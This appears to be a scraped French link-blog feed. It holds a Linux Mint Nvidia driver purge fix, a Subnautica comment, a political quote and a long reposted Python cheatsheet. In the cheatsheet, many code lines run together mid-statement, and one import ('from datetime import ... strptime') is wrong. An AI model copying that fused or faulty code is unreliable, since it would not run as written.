Si vous avez plusieurs moniteurs sous linux mint et qu'un beau jour, il n'y en a qu'un qui s'allume et qu'il est marqué comme inconnu, c'est peut-être votre pilote Nvidia qui a chié dans la colle.
sudo apt-get purge bumblebee*
sudo apt-get purge bbswitch*
sudo apt-get purge nvidia*
sudo apt-get --purge autoremove
Les jeunes n’ont jamais vu un clavier physique Windows Azerty de leur vie à part sur les vieux Compaq de la salle de technologies du collège : pensez-y
Amen
En ce moment, je joue à subnautica et je dois bien admettre que j'adore m'y plonger
Il y a pléthore de tests, d'avis etc sur le jeu, donc je me contenterai juste de dire pourquoi il me semble aussi bien:
). Les éléments qui doivent se connecter se connectent pis c'est marre.Si vous avez des envies de commentaire, c'est par là...
Je me copie-colle ici pour mémoire: c'est tellement bien fait !
Download text file or Fork me on GitHub.
if __name__ == '__main__':
main()<list> = <list>[from_inclusive : to_exclusive : step_size]
<list>.append(<el>)
<list>.extend(<collection>)
<list> += [<el>]
<list> += <collection><list>.sort()
<list>.reverse()
<list> = sorted(<collection>)
<iter> = reversed(<list>)sum_of_elements = sum(<collection>)
elementwise_sum = [sum(pair) for pair in zip(list_a, list_b)]
sorted_by_second = sorted(<collection>, key=lambda el: el[1])
sorted_by_both = sorted(<collection>, key=lambda el: (el[1], el[0]))
flattened_list = list(itertools.chain.from_iterable(<list>))
list_of_chars = list(<str>)
product_of_elems = functools.reduce(lambda out, x: out * x, <collection>)
no_duplicates = list(dict.fromkeys(<list>))index = <list>.index(<el>) # Returns first index of item.
<list>.insert(index, <el>) # Inserts item at index and moves the rest to the right.
<el> = <list>.pop([index]) # Removes and returns item at index or from the end.
<list>.remove(<el>) # Removes first occurrence of item.
<list>.clear() # Removes all items. <view> = <dict>.keys()
<view> = <dict>.values()
<view> = <dict>.items()value = <dict>.get(key, default) # Returns default if key does not exist.
value = <dict>.setdefault(key, default) # Same, but also adds default to dict.
<dict> = collections.defaultdict(<type>) # Creates a dictionary with default value of type.
<dict> = collections.defaultdict(lambda: 1) # Creates a dictionary with default value 1.<dict>.update(<dict>) # Or: dict_a = {**dict_a, **dict_b}.
<dict> = dict(<list>) # Initiates a dict from list of key-value pairs.
<dict> = dict(zip(keys, values)) # Initiates a dict from two lists.
<dict> = dict.fromkeys(keys [, value]) # Initiates a dict from list of keys.value = <dict>.pop(key) # Removes item from dictionary.
{k: v for k, v in <dict>.items() if k in keys} # Filters dictionary by keys.>>> from collections import Counter
>>> colors = ['blue', 'red', 'blue', 'yellow', 'blue', 'red']
>>> counter = Counter(colors)
Counter({'blue': 3, 'red': 2, 'yellow': 1})
>>> counter.most_common()[0][0]
'blue'<set> = set()
<set>.add(<el>)
<set>.update(<collection>)
<set> |= {<el>}
<set> |= <set><set> = <set>.union(<coll.>) # Or: <set> | <set>
<set> = <set>.intersection(<coll.>) # Or: <set> & <set>
<set> = <set>.difference(<coll.>) # Or: <set> - <set>
<set> = <set>.symmetric_difference(<coll.>) # Or: <set> ^ <set>
<bool> = <set>.issubset(<coll.>) # Or: <set> <= <set>
<bool> = <set>.issuperset(<coll.>) # Or: <set> >= <set><set>.remove(<el>) # Throws error.
<set>.discard(<el>) # Doesn't throw error.<frozenset> = frozenset(<collection>)range(to_exclusive)
range(from_inclusive, to_exclusive)
range(from_inclusive, to_exclusive, step_size)
range(from_inclusive, to_exclusive, -step_size)from_inclusive = <range>.start
to_exclusive = <range>.stopfor i, el in enumerate(<collection> [, i_start]):
...>>> Point = collections.namedtuple('Point', 'x y')
>>> p = Point(1, y=2)
Point(x=1, y=2)
>>> p[0]
1
>>> p.x
1
>>> getattr(p, 'y')
2
>>> p._fields # Or: Point._fields
('x', 'y')<iter> = iter(<collection>)
<iter> = iter(<function>, to_exclusive)next(<iter>)
for element in <iter>:
...for line in iter(input, ''):
...from functools import partial
for line in iter(partial(input, 'Please enter value: '), ''):
...Convenient way to implement the iterator protocol.
def step(start, step_size):
while True:
yield start
start += step_size>>> stepper = step(10, 2)
>>> next(stepper), next(stepper), next(stepper)
(10, 12, 14)<type> = type(<el>) # <class 'int'> / <class 'str'> / ...from numbers import Number, Integral, Real, Rational, Complex
<bool> = isinstance(<el>, Number)<bool> = callable(<el>)<str> = <str>.strip() # Strips all whitespace characters.
<str> = <str>.strip('<chars>') # Strips all passed characters.<list> = <str>.split() # Splits on any whitespace character.
<list> = <str>.split(sep=None, maxsplit=-1) # Splits on 'sep' str at most 'maxsplit' times.
<str> = <str>.join(<list>) # Joins elements using string as separator.<str> = <str>.replace(old_str, new_str)
<bool> = <str>.startswith(<sub_str>) # Pass tuple of strings for multiple options.
<bool> = <str>.endswith(<sub_str>) # Pass tuple of strings for multiple options.
<int> = <str>.index(<sub_str>) # Returns first index of a substring.
<bool> = <str>.isnumeric() # True if str contains only numeric characters.
<list> = textwrap.wrap(<str>, width) # Nicely breaks string into lines.<str> = chr(<int>) # Converts int to unicode char.
<int> = ord(<str>) # Converts unicode char to int.>>> ord('0'), ord('9')
(48, 57)
>>> ord('A'), ord('Z')
(65, 90)
>>> ord('a'), ord('z')
(97, 122)import re
<str> = re.sub(<regex>, new, text, count=0) # Substitutes all occurrences.
<list> = re.findall(<regex>, text) # Returns all occurrences.
<list> = re.split(<regex>, text, maxsplit=0) # Use brackets in regex to keep the matches.
<Match> = re.search(<regex>, text) # Searches for first occurrence of pattern.
<Match> = re.match(<regex>, text) # Searches only at the beginning of the text.
<iter> = re.finditer(<regex>, text) # Returns all occurrences as match objects.'flags=re.IGNORECASE' can be used with all functions.'flags=re.DOTALL' makes dot also accept newline. r'\1' or '\\\\1' for backreference. '?' to make operators non-greedy. <str> = <Match>.group() # Whole match.
<str> = <Match>.group(1) # Part in first bracket.
<tuple> = <Match>.groups() # All bracketed parts.
<int> = <Match>.start() # Start index of a match.
<int> = <Match>.end() # Exclusive end index of a match.Use capital letter for negation.
'\d' == '[0-9]' # Digit
'\s' == '[ \t\n\r\f\v]' # Whitespace
'\w' == '[a-zA-Z0-9_]' # Alphanumeric<str> = f'{<el_1>}, {<el_2>}'
<str> = '{}, {}'.format(<el_1>, <el_2>)>>> Person = namedtuple('Person', 'name height')
>>> person = Person('Jean-Luc', 187)
>>> f'{person.height:10}'
' 187'
>>> '{p.height:10}'.format(p=person)
' 187'{<el>:<10} # '<el> '
{<el>:>10} # ' <el>'
{<el>:^10} # ' <el> '
{<el>:->10} # '------<el>'
{<el>:>0} # '<el>''!r' calls object's repr() method, instead of format(), to get a string.
{'abcde'!r:<10} # "'abcde' "{'abcde':.3} # 'abc'
{'abcde':10.3} # 'abc '{1.23456:.3f} # '1.235'
{1.23456:10.3f} # ' 1.235'{ 123456:10,} # ' 123,456'
{ 123456:10_} # ' 123_456'
{ 123456:+10} # ' +123456'
{-123456:=10} # '- 123456'
{ 123456: } # ' 123456'
{-123456: } # '-123456'{65:c} # 'A'
{3:08b} # '00000011' -> Binary with leading zeros.
{3:0<8b} # '11000000' -> Binary with trailing zeros.'f' - Fixed point: .<precision>f'%' - Percent: .<precision>%'e' - Exponent'c' - character'b' - binary'x' - hex'X' - HEX<num> = pow(<num>, <num>) # Or: <num> ** <num>
<real> = abs(<num>)
<real> = round(<real> [, ndigits])from math import e, pifrom math import cos, acos, sin, asin, tan, atan, degrees, radiansfrom math import log, log10, log2
<float> = log(<real> [, base]) # Base e, if not specified.from math import inf, nan, isinf, isnanfloat('inf'), float('nan')from random import random, randint, choice, shuffle
<float> = random()
<int> = randint(from_inclusive, to_inclusive)
<el> = choice(<list>)
shuffle(<list>)from datetime import datetime, strptime
now = datetime.now()
now.month # 3
now.strftime('%Y%m%d') # '20180315'
now.strftime('%Y%m%d%H%M%S') # '20180315002834'
<datetime> = strptime('2015-05-12 00:39', '%Y-%m-%d %H:%M')*`''` is the splat operator, that takes a list as input, and expands it into actual positional arguments in the function call.**
args = (1, 2)
kwargs = {'x': 3, 'y': 4, 'z': 5}
func(*args, **kwargs) func(1, 2, x=3, y=4, z=5)def add(*a):
return sum(a)>>> add(1, 2, 3)
6>>> a = (1, 2, 3)
>>> [*a]
[1, 2, 3]>>> head, *body, tail = [1, 2, 3, 4]
>>> body
[2, 3]lambda: <return_value>
lambda <argument_1>, <argument_2>: <return_value><list> = [i+1 for i in range(10)] # [1, 2, ..., 10]
<set> = {i for i in range(10) if i > 5} # {6, 7, 8, 9}
<dict> = {i: i*2 for i in range(10)} # {0: 0, 1: 2, ..., 9: 18}
<iter> = (i+5 for i in range(10)) # (5, 6, ..., 14)out = [i+j for i in range(10) for j in range(10)]out = []
for i in range(10):
for j in range(10):
out.append(i+j)from functools import reduce
<iter> = map(lambda x: x + 1, range(10)) # (1, 2, ..., 10)
<iter> = filter(lambda x: x > 5, range(10)) # (6, 7, 8, 9)
<int> = reduce(lambda out, x: out + x, range(10)) # 45<bool> = any(<collection>) # False if empty.
<bool> = all(el[1] for el in <collection>) # True if empty.<expression_if_true> if <condition> else <expression_if_false>>>> [a if a else 'zero' for a in (0, 1, 0, 3)]
['zero', 1, 'zero', 3]from collections import namedtuple
Point = namedtuple('Point', 'x y')
point = Point(0, 0)from enum import Enum
Direction = Enum('Direction', 'n e s w')
Cutlery = Enum('Cutlery', {'fork': 1, 'knife': 2, 'spoon': 3})# Warning: Objects will share the objects that are initialized in the dictionary!
Creature = type('Creature', (), {'p': Point(0, 0), 'd': Direction.n})
creature = Creature()We have a closure in Python when:
def get_multiplier(a):
def out(b):
return a * b
return out>>> multiply_by_3 = get_multiplier(3)
>>> multiply_by_3(10)
30'<function>.__closure__[0].cell_contents'.from functools import partial
<function> = partial(<function>, <argument_1> [, <argument_2>, ...])>>> multiply_by_3 = partial(operator.mul, 3)
>>> multiply_by_3(10)
30If variable is assigned to anywhere in the scope, it is regarded as a local variable, unless it is declared as global or nonlocal.
def get_counter():
a = 0
def out():
nonlocal a
a += 1
return a
return out>>> counter = get_counter()
>>> counter(), counter(), counter()
(1, 2, 3)A decorator takes a function, adds some functionality and returns it.
@decorator_name
def function_that_gets_passed_to_decorator():
...Decorator that prints function's name every time it gets called.
from functools import wraps
def debug(func):
@wraps(func)
def out(*args, **kwargs):
print(func.__name__)
return func(*args, **kwargs)
return out
@debug
def add(x, y):
return x + y'add.__name__' would return 'out'.Decorator that caches function's return values. All function's arguments must be hashable.
from functools import lru_cache
@lru_cache(maxsize=None)
def fib(n):
return n if n < 2 else fib(n-1) + fib(n-2)>>> [fib(n) for n in range(10)]
[0, 1, 1, 2, 3, 5, 8, 13, 21, 34]
>>> fib.cache_info()
CacheInfo(hits=16, misses=10, maxsize=None, currsize=10)from functools import wraps
def debug(print_result=False):
def decorator(func):
@wraps(func)
def out(*args, **kwargs):
result = func(*args, **kwargs)
print(func.__name__, result if print_result else '')
return result
return out
return decorator
@debug(print_result=True)
def add(x, y):
return x + yclass <name>:
def __init__(self, a):
self.a = a
def __repr__(self):
class_name = type(self).__name__
return f'{class_name}({self.a!r})'
def __str__(self):
return str(self.a)
@classmethod
def get_class_name(cls):
return cls.__name__class <name>:
def __init__(self, a=None):
self.a = aclass Person:
def __init__(self, name, age):
self.name = name
self.age = age
class Employee(Person):
def __init__(self, name, age, staff_num):
super().__init__(name, age)
self.staff_num = staff_num'id(self) == id(other)', which is the same as 'self is other'.class MyComparable:
def __init__(self, a):
self.a = a
def __eq__(self, other):
if isinstance(other, type(self)):
return self.a == other.a
return False 'id(self)' will not do.class MyHashable:
def __init__(self, a):
self.__a = copy.deepcopy(a)
@property
def a(self):
return self.__a
def __eq__(self, other):
if isinstance(other, type(self)):
return self.a == other.a
return False
def __hash__(self):
return hash(self.a)class MySequence:
def __init__(self, a):
self.a = a
def __len__(self):
return len(self.a)
def __getitem__(self, i):
return self.a[i]
def __iter__(self):
for el in self.a:
yield elclass Counter:
def __init__(self):
self.a = 0
def __call__(self):
self.a += 1
return self.afrom copy import copy, deepcopy
<object> = copy(<object>)
<object> = deepcopy(<object>)from enum import Enum, auto
class <enum_name>(Enum):
<member_name_1> = <value_1>
<member_name_2> = <value_2_a>, <value_2_b>
<member_name_3> = auto()
@classmethod
def get_member_names(cls):
return [a.name for a in cls.__members__.values()]<member> = <enum>.<member_name>
<member> = <enum>['<member_name>']
<member> = <enum>(<value>)
name = <member>.name
value = <member>.valuelist_of_members = list(<enum>)
member_names = [a.name for a in <enum>]
member_values = [a.value for a in <enum>]
random_member = random.choice(list(<enum>))Cutlery = Enum('Cutlery', ['fork', 'knife', 'spoon'])
Cutlery = Enum('Cutlery', 'fork knife spoon')
Cutlery = Enum('Cutlery', {'fork': 1, 'knife': 2, 'spoon': 3})from functools import partial
LogicOp = Enum('LogicOp', {'AND': partial(lambda l, r: l and r),
'OR' : partial(lambda l, r: l or r)})while True:
try:
x = int(input('Please enter a number: '))
except ValueError:
print('<img class="smile normal" src="http://www.warriordudimanche.net/plugins/WDD_replace/img/normal/omg.png"/>ps! That was no valid number. Try again...')
else:
print('Thank you.')
breakraise ValueError('A very specific message!')>>> try:
... raise KeyboardInterrupt
... finally:
... print('Goodbye, world!')
Goodbye, world!
Traceback (most recent call last):
File "<stdin>", line 2, in <module>
KeyboardInterruptimport sys
script_name = sys.argv[0]
arguments = sys.argv[1:]print(<el_1>, ..., sep=' ', end='\n', file=sys.stdout, flush=False)'file=sys.stderr' for errors.>>> from pprint import pprint
>>> pprint(dir())
['__annotations__',
'__builtins__',
'__doc__', ...]<str> = input(prompt=None)while True:
try:
print(input())
except EOFError:
breakOpens file and returns a corresponding file object.
<file> = open(<path>, mode='r', encoding=None)'r' - Read (default).'w' - Write (truncate).'x' - Write or fail if the file already exists.'a' - Append.'w+' - Read and write (truncate).'r+' - Read and write from the beginning.'a+' - Read and write from the end.'b' - Binary mode.'t' - Text mode (default).def read_file(filename):
with open(filename, encoding='utf-8') as file:
return file.readlines()def write_to_file(filename, text):
with open(filename, 'w', encoding='utf-8') as file:
file.write(text)from os import path, listdir
<bool> = path.exists(<path>)
<bool> = path.isfile(<path>)
<bool> = path.isdir(<path>)
<list> = listdir(<path>)>>> from glob import glob
>>> glob('../*.gif')
['1.gif', 'card.gif']import os
<str> = os.popen(<command>).read()>>> import subprocess
>>> a = subprocess.run(['ls', '-a'], stdout=subprocess.PIPE)
>>> a.stdout
b'.\n..\nfile1.txt\nfile2.txt\n'
>>> a.returncode
0>>> import sys
>>> sys.getrecursionlimit()
1000
>>> sys.setrecursionlimit(5000)import json
<str> = json.dumps(<object>, ensure_ascii=True, indent=None)
<object> = json.loads(<str>)from collections import OrderedDict
<object> = json.loads(<str>, object_pairs_hook=OrderedDict)def read_json_file(filename):
with open(filename, encoding='utf-8') as file:
return json.load(file)def write_to_json_file(filename, an_object):
with open(filename, 'w', encoding='utf-8') as file:
json.dump(an_object, file, ensure_ascii=False, indent=2)import pickle
<bytes> = pickle.dumps(<object>)
<object> = pickle.loads(<bytes>)def read_pickle_file(filename):
with open(filename, 'rb') as file:
return pickle.load(file)def write_to_pickle_file(filename, an_object):
with open(filename, 'wb') as file:
pickle.dump(an_object, file)import sqlite3
db = sqlite3.connect(<filename>)
...
db.close()cursor = db.execute(<query>)
if cursor:
<tuple> = cursor.fetchone() # First row.
<list> = cursor.fetchall() # Remaining rows.db.execute(<query>)
db.commit()Bytes object is immutable sequence of single bytes. Mutable version is called bytearray.
<bytes> = b'<str>'
<int> = <bytes>[<index>]
<bytes> = <bytes>[<slice>]
<bytes> = b''.join(<coll_of_bytes>)<bytes> = <str>.encode(encoding='utf-8')
<bytes> = <int>.to_bytes(length, byteorder='big|little', signed=False)
<bytes> = bytes.fromhex(<hex>)<str> = <bytes>.decode('utf-8')
<int> = int.from_bytes(<bytes>, byteorder='big|little', signed=False)
<hex> = <bytes>.hex()def read_bytes(filename):
with open(filename, 'rb') as file:
return file.read()def write_bytes(filename, bytes_obj):
with open(filename, 'wb') as file:
file.write(bytes_obj)from struct import pack, unpack, calcsize
<bytes> = pack('<format>', <value_1> [, <value_2>, ...])
<tuple> = unpack('<format>', <bytes>)>>> pack('>hhl', 1, 2, 3)
b'\x00\x01\x00\x02\x00\x00\x00\x03'
>>> unpack('>hhl', b'\x00\x01\x00\x02\x00\x00\x00\x03')
(1, 2, 3)
>>> calcsize('>hhl')
8'=' - native byte order'<' - little-endian'>' - big-endian'x' - pad byte'c' - char (1)'h' - short (2)'i' - int (4)'l' - long (4)'q' - long long (8)'f' - float (4)'d' - double (8)List that can only hold elements of predefined type. Available types are listed above.
from array import array
<array> = array(<typecode> [, <collection>])A thread-safe list with efficient appends and pops from either side. Pronounced “deck”.
from collections import deque
<deque> = deque(<collection>, maxlen=None)<deque>.appendleft(<el>)
<deque>.extendleft(<collection>) # Collection gets reversed.
<el> = <deque>.popleft()
<deque>.rotate(n=1) # Rotates elements to the right.from threading import Thread, RLockthread = Thread(target=<function>, args=(<first_arg>, ))
thread.start()
...
thread.join()lock = RLock()
lock.acquire()
...
lock.release()>>> import hashlib
>>> hashlib.md5(<str>.encode()).hexdigest()
'33d0eba106da4d3ebca17fcd3f4c3d77'from itertools import *>>> combinations('abc', 2)
[('a', 'b'), ('a', 'c'), ('b', 'c')]
>>> combinations_with_replacement('abc', 2)
[('a', 'a'), ('a', 'b'), ('a', 'c'),
('b', 'b'), ('b', 'c'),
('c', 'c')]
>>> permutations('abc', 2)
[('a', 'b'), ('a', 'c'),
('b', 'a'), ('b', 'c'),
('c', 'a'), ('c', 'b')]
>>> product('ab', [1, 2])
[('a', 1), ('a', 2),
('b', 1), ('b', 2)]
>>> product([0, 1], repeat=3)
[(0, 0, 0), (0, 0, 1), (0, 1, 0), (0, 1, 1),
(1, 0, 0), (1, 0, 1), (1, 1, 0), (1, 1, 1)]>>> i = count(5, 2)
>>> next(i), next(i), next(i)
(5, 7, 9)
>>> a = cycle('abc')
>>> [next(a) for _ in range(10)]
['a', 'b', 'c', 'a', 'b', 'c', 'a', 'b', 'c', 'a']
>>> repeat(10, 3)
[10, 10, 10]>>> chain([1, 2], range(3, 5))
[1, 2, 3, 4]
>>> compress('abc', [True, 0, 1])
['a', 'c']
>>> # islice(<collection>, from_inclusive, to_exclusive)
>>> islice([1, 2, 3], 1, None)
[2, 3]
>>> people = [{'id': 1, 'name': 'Bob'},
{'id': 2, 'name': 'Bob'},
{'id': 3, 'name': 'Peter'}]
>>> groups = groupby(people, key=lambda a: a['name'])
>>> {name: list(group) for name, group in groups}
{'Bob': [{'id': 1, 'name': 'Bob'},
{'id': 2, 'name': 'Bob'}],
'Peter': [{'id': 3, 'name': 'Peter'}]}Inspecting code at runtime and code that generates code. You can:
<list> = dir() # Names of in-scope variables.
<dict> = locals() # Dict of local variables. Also vars().
<dict> = globals() # Dict of global variables.class Z:
def __init__(self):
self.a = 'abcde'
self.b = 12345>>> z = Z()
>>> vars(z)
{'a': 'abcde', 'b': 12345}
>>> getattr(z, 'a')
'abcde'
>>> hasattr(z, 'c')
False
>>> setattr(z, 'c', 10)from inspect import signature
sig = signature(<function>)
no_of_params = len(sig.parameters)
param_names = list(sig.parameters.keys())Type is the root class. If only passed the object it returns it's type. Otherwise it creates a new class (and not the instance!).
type(<class_name>, <parents_tuple>, <attributes_dict>)>>> Z = type('Z', (), {'a': 'abcde', 'b': 12345})
>>> z = Z()Class that creates class.
def my_meta_class(name, parents, attrs):
attrs['a'] = 'abcde'
return type(name, parents, attrs)class MyMetaClass(type):
def __new__(cls, name, parents, attrs):
attrs['a'] = 'abcde'
return type.__new__(cls, name, parents, attrs)When class is created it checks if it has metaclass defined. If not, it recursively checks if any of his parents has it defined and eventually comes to type.
class MyClass(metaclass=MyMetaClass):
def __init__(self):
self.b = 12345from operator import add, sub, mul, truediv, floordiv, mod, pow, neg, abs, \
eq, ne, lt, le, gt, ge, \
not_, and_, or_, \
itemgetter, attrgetter, methodcallerimport operator as op
product_of_elems = functools.reduce(op.mul, <list>)
sorted_by_second = sorted(<list>, key=op.itemgetter(1))
sorted_by_both = sorted(<list>, key=op.itemgetter(1, 0))
LogicOp = enum.Enum('LogicOp', {'AND': op.and_, 'OR' : op.or_})
last_el = op.methodcaller('pop')(<list>)>>> from ast import literal_eval
>>> literal_eval('1 + 2')
3
>>> literal_eval('[1, 2, 3]')
[1, 2, 3]
>>> ast.literal_eval('abs(1)')
ValueError: malformed node or stringimport ast
from ast import Num, BinOp, UnaryOp
import operator as op
legal_operators = {ast.Add: op.add,
ast.Sub: op.sub,
ast.Mult: op.mul,
ast.Div: op.truediv,
ast.Pow: op.pow,
ast.BitXor: op.xor,
ast.USub: op.neg}
def evaluate(expression):
root = ast.parse(expression, mode='eval')
return eval_node(root.body)
def eval_node(node):
node_type = type(node)
if node_type == Num:
return node.n
if node_type not in [BinOp, UnaryOp]:
raise TypeError(node)
operator_type = type(node.op)
if operator_type not in legal_operators:
raise TypeError(f'Illegal operator {node.op}')
operator = legal_operators[operator_type]
if node_type == BinOp:
left, right = eval_node(node.left), eval_node(node.right)
return operator(left, right)
elif node_type == UnaryOp:
operand = eval_node(node.operand)
return operator(operand)>>> evaluate('2 ^ 6')
4
>>> evaluate('2 ** 6')
64
>>> evaluate('1 + 2 * 3 ** (4 ^ 5) / (6 + -7)')
-5.0def coroutine(func):
def out(*args, **kwargs):
cr = func(*args, **kwargs)
next(cr)
return cr
return outdef reader(target):
for i in range(10):
target.send(i)
target.close()
@coroutine
def adder(target):
while True:
item = (yield)
target.send(item + 100)
@coroutine
def printer():
while True:
item = (yield)
print(item)
reader(adder(printer())) # 100, 101, ..., 109# $ pip3 install tqdm
from tqdm import tqdm
from time import sleep
for i in tqdm([1, 2, 3]):
sleep(0.2)
for i in tqdm(range(100)):
sleep(0.02)# $ pip3 install matplotlib
from matplotlib import pyplot
pyplot.plot(<data_1> [, <data_2>, ...])
pyplot.savefig(<filename>, transparent=True)
pyplot.show()from argparse import ArgumentParser
desc = 'calculate X to the power of Y'
parser = ArgumentParser(description=desc)
group = parser.add_mutually_exclusive_group()
group.add_argument('-v', '--verbose', action='store_true')
group.add_argument('-q', '--quiet', action='store_true')
parser.add_argument('x', type=int, help='the base')
parser.add_argument('y', type=int, help='the exponent')
args = parser.parse_args()
answer = args.x ** args.y
if args.quiet:
print(answer)
elif args.verbose:
print(f'{args.x} to the power {args.y} equals {answer}')
else:
print(f'{args.x}^{args.y} == {answer}')# $ pip3 install tabulate
import csv
from tabulate import tabulate
with open(<filename>, encoding='utf-8') as file:
lines = csv.reader(file, delimiter=';')
headers = [header.title() for header in next(lines)]
table = tabulate(lines, headers)
print(table)# $ pip3 install curses
from curses import wrapper
def main():
wrapper(draw)
def draw(screen):
screen.clear()
screen.addstr(0, 0, 'Press ESC to quit.')
while screen.getch() != 27:
pass
def get_border(screen):
from collections import namedtuple
P = namedtuple('P', 'x y')
height, width = screen.getmaxyx()
return P(width - 1, height - 1)# $ pip3 install pillow
from PIL import Image
width = 100
height = 100
size = width * height
pixels = [255 * i/size for i in range(size)]
img = Image.new('L', (width, height), 'white')
img.putdata(pixels)
img.save('test.png')'1' - 1-bit pixels, black and white, stored with one pixel per byte.'L' - 8-bit pixels, greyscale.'RGB' - 3x8-bit pixels, true color.'RGBA' - 4x8-bit pixels, true color with transparency mask.'HSV' - 3x8-bit pixels, Hue, Saturation, Value color space.import wave, struct
samples = [struct.pack('<h', int(a * 30000)) for a in <list>]
wf = wave.open('test.wav', 'wb')
wf.setnchannels(1)
wf.setsampwidth(2)
wf.setframerate(44100)
wf.writeframes(b''.join(samples))
wf.close()# pip3 install simpleaudio
import simpleaudio, math, struct
from itertools import chain, repeat
F = 44100
S1 = '71♪,69,,71♪,66,,62♪,66,,59♪,,,'
S2 = '71♪,73,,74♪,73,,74,,71,,73♪,71,,73,,69,,71♪,69,,71,,67,,71♪,,,'
get_pause = lambda seconds: repeat(0, int(seconds * F))
sin_f = lambda i, hz: math.sin(i * 2 * math.pi * hz / F)
get_wave = lambda hz, seconds: (sin_f(i, hz) for i in range(int(seconds * F)))
get_hz = lambda n: 8.176 * 2 ** (int(n) / 12)
parse_n = lambda note: (get_hz(note[:2]), 0.25 if len(note) > 2 else 0.125)
get_note = lambda note: get_wave(*parse_n(note)) if note else get_pause(0.125)
samples_f = chain.from_iterable(get_note(n) for n in f'{S1}{S1}{S2}'.split(','))
samples_b = b''.join(struct.pack('<h', int(a * 30000)) for a in samples_f)
simpleaudio.play_buffer(samples_b, 1, 2, F)from urllib.parse import quote, quote_plus, unquote, unquote_plus>>> quote("Can't be in URL!")
'Can%27t%20be%20in%20URL%21'
>>> quote_plus("Can't be in URL!")
'Can%27t+be+in+URL%21'>>> unquote('Can%27t+be+in+URL%21')
"Can't+be+in+URL!"
>>> unquote_plus('Can%27t+be+in+URL%21')
"Can't be in URL!"# $ pip3 install requests beautifulsoup4
>>> import requests
>>> from bs4 import BeautifulSoup
>>> url = 'https://en.wikipedia.org/wiki/Python_(programming_language)'
>>> page = requests.get(url)
>>> doc = BeautifulSoup(page.text, 'html.parser')
>>> table = doc.find('table', class_='infobox vevent')
>>> rows = table.find_all('tr')
>>> link = rows[11].find('a')['href']
>>> ver = rows[6].find('div').text.split()[0]
>>> link, ver
('https://www.python.org/', '3.7.2')# $ pip3 install bottle
from bottle import run, route, post, template, request, response
import jsonrun(host='localhost', port=8080)
run(host='0.0.0.0', port=80, server='cherrypy')@route('/img/<image>')
def send_image(image):
return static_file(image, 'images/', mimetype='image/png')@route('/<sport>')
def send_page(sport):
return template('<h1>{{title}}</h1>', title=sport)@post('/odds/<sport>')
def odds_handler(sport):
team = request.forms.get('team')
home_odds, away_odds = 2.44, 3.29
response.headers['Content-Type'] = 'application/json'
response.headers['Cache-Control'] = 'no-cache'
return json.dumps([team, home_odds, away_odds])# $ pip3 install requests
>>> import requests
>>> url = 'http://localhost:8080/odds/football'
>>> data = {'team': 'arsenal f.c.'}
>>> response = requests.post(url, data=data)
>>> response.json()
['arsenal f.c.', 2.44, 3.29]from time import time
start_time = time() # Seconds since Epoch.
...
duration = time() - start_timefrom time import perf_counter as pc
start_time = pc() # Seconds since restart.
...
duration = pc() - start_timefrom timeit import timeit
timeit('"-".join(str(a) for a in range(100))',
number=10000, globals=globals(), setup='pass')# $ pip3 install line_profiler
@profile
def main():
a = [*range(10000)]
b = {*range(10000)}
main()$ kernprof -lv test.py
Line # Hits Time Per Hit % Time Line Contents
==============================================================
1 @profile
2 def main():
3 1 1128.0 1128.0 27.4 a = [*range(10000)]
4 1 2994.0 2994.0 72.6 b = {*range(10000)}# $ pip3 install pycallgraph
from pycallgraph import output, PyCallGraph
from datetime import datetime
time_str = datetime.now().strftime('%Y%m%d%H%M%S')
filename = f'profile-{time_str}.png'
drawer = output.GraphvizOutput(output_file=filename)
with PyCallGraph(output=drawer):
<code_to_be_profiled>Array manipulation mini language. Can run up to 100 times faster than equivalent Python code.
# $ pip3 install numpy
import numpy as np<array> = np.array(<list>)
<array> = np.arange(from_inclusive, to_exclusive, step_size)
<array> = np.ones(<shape>)
<array> = np.random.randint(from_inclusive, to_exclusive, <shape>)<array>.shape = <shape>
<view> = <array>.reshape(<shape>)
<view> = np.broadcast_to(<array>, <shape>)<array> = <array>.sum(<axis>)
indexes = <array>.argmin(<axis>)<el> = <2d_array>[0, 0] # First element.
<1d_view> = <2d_array>[0] # First row.
<1d_view> = <2d_array>[:, 0] # First column. Also [..., 0].
<3d_view> = <2d_array>[None, :, :] # Expanded by dimension of size 1.<1d_array> = <2d_array>[<1d_row_indexes>, <1d_column_indexes>]
<2d_array> = <2d_array>[<2d_row_indexes>, <2d_column_indexes>]<2d_bools> = <2d_array> > 0
<1d_array> = <2d_array>[<2d_bools>]Broadcasting is a set of rules by which NumPy functions operate on arrays of different sizes and/or dimensions.
left = [[0.1], [0.6], [0.8]] # Shape: (3, 1)
right = [ 0.1 , 0.6 , 0.8 ] # Shape: (3)left = [[0.1], [0.6], [0.8]] # Shape: (3, 1)
right = [[0.1 , 0.6 , 0.8]] # Shape: (1, 3) <- !left = [[0.1, 0.1, 0.1], [0.6, 0.6, 0.6], [0.8, 0.8, 0.8]] # Shape: (3, 3) <- !
right = [[0.1, 0.6, 0.8], [0.1, 0.6, 0.8], [0.1, 0.6, 0.8]] # Shape: (3, 3) <- ![0.1, 0.6, 0.8] => [1, 2, 1]):>>> points = np.array([0.1, 0.6, 0.8])
[ 0.1, 0.6, 0.8]
>>> wrapped_points = points.reshape(3, 1)
[[ 0.1],
[ 0.6],
[ 0.8]]
>>> distances = wrapped_points - points
[[ 0. , -0.5, -0.7],
[ 0.5, 0. , -0.2],
[ 0.7, 0.2, 0. ]]
>>> distances = np.abs(distances)
[[ 0. , 0.5, 0.7],
[ 0.5, 0. , 0.2],
[ 0.7, 0.2, 0. ]]
>>> i = np.arange(3)
[0, 1, 2]
>>> distances[i, i] = np.inf
[[ inf, 0.5, 0.7],
[ 0.5, inf, 0.2],
[ 0.7, 0.2, inf]]
>>> distances.argmin(1)
[1, 2, 1]#!/usr/bin/env python3
#
# Usage: .py
#
from collections import namedtuple
from enum import Enum
import re
import sys
def main():
pass
###
## UTIL
#
def read_file(filename):
with open(filename, encoding='utf-8') as file:
return file.readlines()
if __name__ == '__main__':
main()
La vache, s'il est moitié moins efficace que ce qu'il est moche, c'est une vrai bombe ce truc!
Look oldschool, design by Jacob Delafond époque exURSS
« Monsieur Lévy, j'ai juste une recommandation à vous faire, vous vous cherchez une stature de sauveur, de rédempteur.
Mais enfilez un gilet jaune, vous voulez combattre la dictature, enfilez un gilet jaune.
Allez prendre la tête d'une vraie manifestation, où on vous tirera dessus à balles réelles, fussent-elles en caoutchouc, vous ne risquerez que de perdre un œil. Et à ce moment là vous rentrerez enfin dans l'histoire comme vous rêvez de le faire, parce que jusqu'ici vous n'avez pu prendre que des tartes à la crème. »
Hashtag dansTaGueule
Ben, ya même pas Nomachine ?!
